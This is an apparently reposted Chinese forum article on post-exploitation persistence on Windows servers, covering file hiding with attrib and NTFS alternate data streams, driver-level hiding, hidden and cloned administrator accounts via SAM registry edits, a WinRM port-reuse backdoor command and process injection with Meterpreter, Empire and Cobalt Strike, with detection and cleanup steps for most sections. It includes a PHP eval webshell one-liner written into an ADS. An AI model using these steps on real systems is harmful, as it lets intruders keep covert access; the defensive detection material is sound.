搜索

[926] 2019-08-19_【权限维持】Window下的几种隐藏技术

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2019-08-19_【权限维持】Window下的几种隐藏技术 【 权 限 维 持 】 W i n d o w 下 的 几 种 隐 藏 技 术 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 8 - 1 9 0 x 0 0   前 言 前 言 攻 击 者 在 获 取 服 务 器 权 限 后 ， 通 常 会 用 一 些 后 门 来 维 持 权 限 。 如 果 你 想 让 你 的 后 门 保 持 的 更 久 些 ， 那 么 请 隐 藏 好 它 ， 使 之 不 易 被 管 理 员 发 现 。 0 x 0 1   隐 藏 文 件 隐 藏 文 件 1 、 利 用 文 件 属 性 、 利 用 文 件 属 性 使 用 A t t r i b   + s   + a   + h   + r 命 令 就 是 把 原 本 的 文 件 夹 增 加 了 系 统 文 件 属 性 、 存 档 文 件 属 性 、 只 读 文 件 属 性 和 隐 藏 文 件 属 性 。 这 样 就 做 到 了 真 正 的 隐 藏 ， 不 管 你 是 否 显 示 隐 藏 文 件 ， 此 文 件 夹 都 看 不 见 。 破 解 隐 藏 文 件 ： 打 开 电 脑 文 件 夹 选 项 卡 ， 取 消 ” 隐 藏 受 保 护 的 操 作 系 统 文 件 “ 勾 选 ， 把 ” 隐 藏 文 件 和 文 件 夹 “ 下 面 的 单 选 选 择 “ 显 示 隐 藏 的 文 件 、 文 件 夹 和 驱 动 器 ” 。 a t t r i b   + s   + a   + h   + r   D : t e s t p r o j e c t t e s t . t x t
2 、 利 用 、 利 用 A D S 隐 藏 文 件 内 容 隐 藏 文 件 内 容 在 服 务 器 上 e c h o 一 个 数 据 流 文 件 进 去 ， 比 如 i n d e x . p h p 是 网 页 正 常 文 件 ， 我 们 可 以 这 样 子 搞 ： 　 e c h o   ^ < ? p h p   @ e v a l ( $ _ P O S T [ ' c h o p p e r ' ] ) ; ? ^ >   >   i n d e x . p h p : h i d d e n . j p g 这 样 子 就 生 成 了 一 个 不 可 见 的 s h e l l   h i d d e n . j p g ， 常 规 的 文 件 管 理 器 、 t y p e 命 令 ， d i r 命 令 、 d e l 命 令 发 现 都 找 不 出 那 个 h i d d e n . j p g 的 。 　 问 题 1 ： 如 何 查 看 i n d e x . p h p : h i d d e n . j p g 内 容 呢 ？ 进 入 文 件 所 在 目 录 ， n o t e p a d   i n d e x . p h p : h i d d e n . j p g   或 者   d i r   / r
　 　     问 题 2 ： 如 何 删 除 i n d e x . p h p : h i d d e n . j p g ？ 直 接 删 除 i n d e x . p h p 即 可 3 、 驱 动 级 文 件 隐 藏 、 驱 动 级 文 件 隐 藏 驱 动 隐 藏 我 们 可 以 用 过 一 些 软 件 来 实 现 ， 软 件 名 字 叫 ： E a s y   F i l e   L o c k e r 如 果 你 在 网 站 目 录 未 查 找 到 相 关 文 件 ， 且 系 统 目 录 存 在 存 在 以 下 文 件 ： c : W I N D O W S x l k f s . d a t c : W I N D O W S x l k f s . d l l c : W I N D O W S x l k f s . i n i c : W I N D O W S s y s t e m 3 2 d r i v e r s x l k f s . s y s 那 么 你 ， 应 该 是 遭 遇 了 驱 动 级 文 件 隐 藏 。 如 何 清 除 ？ 1 、 查 询 服 务 状 态 ： s c   q c   x l k f s 2 、 停 止 服 务 ： n e t   s t o p   x l k f s   服 务 停 止 以 后 ， 经 驱 动 级 隐 藏 的 文 件 即 可 显 现 3 、 删 除 服 务 ： s c   d e l e t e   x l k f s 4 、 删 除 系 统 目 录 下 面 的 文 件 ， 重 启 系 统 ， 确 认 服 务 已 经 被 清 理 了 。 隐 藏 文 件 的 方 式 还 有 很 多 ， 比 如 伪 装 成 一 个 系 统 文 件 夹 图 标 ， 利 用 畸 形 文 件 名 、 保 留 文 件 名 无 法 删 除 ， 甚 至 取 一 个 与 系 统 文 件 很 像 的 文 件 名 并 放 在 正 常 目 录 里 面 ， 很 难 辨 别 出 来 。 这 些 隐 藏 文 件 的 方 式 早 已 不 再 是 秘 密 ， 而 更 多 的 恶 意 程 序 开 始 实 现 “ 无 文 件 ” 攻 击 ， 这 种 方 式 极 难 被 发 现 。 0 x 0 2   隐 藏 账 号 隐 藏 账 号 w i n d o w   隐 藏 系 统 用 户 操 作 ， C M D 命 令 行 下 ， 建 立 了 一 个 用 户 名 为 “ t e s t $ ” ， 密 码 为 “ a b c 1 2 3 ! ” 的 简 单 隐 藏 账 户 , 并 且 把 该 隐 藏 账 户 提 升 为 了 管 理 员 权 限 。 下 载 链 接 ： h t t p : / / w w w . x o s l a b . c o m / e f l . h t m l
P S : C M D 命 令 行 使 用 " n e t   u s e r " , 看 不 到 " t e s t $ " 这 个 账 号 ， 但 在 控 制 面 板 和 本 地 用 户 和 组 是 可 以 显 示 此 用 户 的 。 克 隆 账 号 制 作 过 程 ： 1 、 “ 开 始 ” → “ 运 行 ” ， 输 入 “ r e g e d t 3 2 . e x e ” 后 回 车 , 需 要 到 “ H K E Y _ L O C A L _ M A C H I N E S A M S A M ” ， 单 机 右 建 权 限 ， 把 名 叫 ： a d m i n i s t r a t o r 的 用 户 给 予 ： 完 全 控 制 以 及 读 取 的 权 限 ， 在 后 面 打 勾 就 行 ， 然 后 关 闭 注 册 表 编 辑 器 ， 再 次 打 开 即 可 。 2 、 来 到 注 册 表 编 辑 器 的 “ H K E Y _ L O C A L _ M A C H I N E S A M S A M D o m a i n s A c c o u n t U s e r s N a m e s ” 处 ， 点 击 t e s t $ 用 户 ， 得 到 在 右 边 显 示 的 键 值 中 的 “ 类 型 ” 一 项 显 示 为 0 x 3 e c ， 找 到 箭 头 所 指 目 录 。 3 、 找 到 a d m i n i s t r a t o r 所 对 应 的 的 项 为 “ 0 0 0 0 0 1 F 4 ” ， 将 “ 0 0 0 0 0 1 F 4 ” 的 F 值 复 制 到 “ 0 0 0 0 0 3 E C ” 的 F 值 中 ， 保 存 。
4 、 分 别 t e s t 和 “ 0 0 0 0 0 3 E C 导 出 到 桌 面 ， 删 除 t e s t 用 户   n e t   u s e r   t e s t $   / d e l 5 、 将 刚 才 导 出 的 两 个 后 缀 为 . r e g 的 注 册 表 项 导 入 注 册 表 中 。 这 样 所 谓 的 隐 藏 账 户 就 创 建 好 了 。 P S ： 不 管 你 是 在 命 令 提 示 符 下 输 入 n e t   u s e r   或 者 在 系 统 用 户 管 理 界 面 都 是 看 不 到 t e s t $ 这 个 账 户 的 ， 只 有 在 注 册 表 中 才 能 看 得 到 。
检 测 和 清 理 方 法 ： 使 用 D 盾 _ w e b 查 杀 工 具 ， 使 用 克 隆 账 号 检 测 功 能 进 行 查 看 ， 可 检 测 出 隐 藏 、 克 隆 账 号 。 0 x 0 3   端 口 复 用 端 口 复 用 通 过 端 口 复 用 来 达 到 隐 藏 端 口 的 目 的 ， 在 W i n d o w 下 ， 如 何 实 现 端 口 复 用 呢 ？ 前 阵 子 ， @ T w i 1 i g h t 公 布 了 一 种 基 于 内 置 系 统 服 务 的 端 口 复 用 后 门 方 法 ， 利 用 W i n R M 服 务 ， 一 条 命 令 实 现 端 口 复 用 后 门 ： 一 般 开 启 W i n R M 服 务 作 为 远 程 管 理 ， 但 还 是 第 一 次 听 到 可 以 作 为 端 口 复 用 ， 一 种 简 单 容 易 实 现 的 端 口 复 用 方 式 。 假 设 ， 攻 击 者 已 获 取 到 a d m i n i s t r a t o r 账 号 密 码 ， 连 接 远 程 W i n R M 服 务 执 行 命 令 ： 当 执 行 这 条 命 令 的 同 时 ， 将 在 安 全 日 志 中 留 下 痕 迹 ： w i n r m   s e t   w i n r m / c o n f i g / s e r v i c e   @ { E n a b l e C o m p a t i b i l i t y H t t p L i s t e n e r = " t r u e " }
0 x 0 4   进 程 注 入 进 程 注 入 进 程 注 入 ， 一 直 是 病 毒 木 马 的 惯 用 手 段 ， 同 时 ， 它 也 是 一 种 隐 藏 技 术 。 在 常 见 的 渗 透 测 试 框 架 中 ， 进 程 注 入 是 怎 么 做 的 以 及 我 们 如 何 通 过 工 具 排 查 出 来 ？ 1 、 、 m e t e r p r e t e r 会 话 注 入 会 话 注 入 当 前 权 限 无 法 获 取 h a s h 值 ， 查 看 目 前 系 统 进 程 通 过 m i g r a t e 将 进 程 注 入 到 s y s t e m 进 程 后 ， 成 功 获 得 h a s h 值 。
W i n d o w 后 门 排 查 ： 通 过 T C P v i e w 显 示 已 建 立 的 T C P 连 接 ， 我 们 可 以 看 到 异 常 的 连 接 ， 同 时 ， 恶 意 软 件 将 以 绿 色 显 示 不 到 一 秒 钟 ， 然 后 变 成 红 色 消 失 ， 如 此 循 环 。 2 、 、 E m p i r e 会 话 进 程 注 入 会 话 进 程 注 入 通 过 p s i n j e c t 模 块 进 行 会 话 注 入 ， 直 接 输 入 p s 选 择 一 个 S Y S T E M 权 限 的 进 程 P I D ， 使 用 进 程 注 入 模 块 ， 来 获 取 权 限 。 如 下 图 ：
W i n d o w 后 门 排 查 ： 利 用 火 绒 剑 监 控 进 程 都 可 以 定 位 到 注 入 进 程 。 3 、 、 C o b a l t   S t r i k e 进 程 注 入 进 程 注 入 选 择 进 程 ， 点 击 i n j e c t ， 随 后 选 择 监 听 器 ， 点 击 c h o o s e ， 即 可 发 现 C o b a l t s t r i k e 弹 回 了 目 标 机 的 一 个 新 会 话 ， 这 个 会 话 就 是 成 功 注 入 到 某 进 程 的 b e a c o n 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理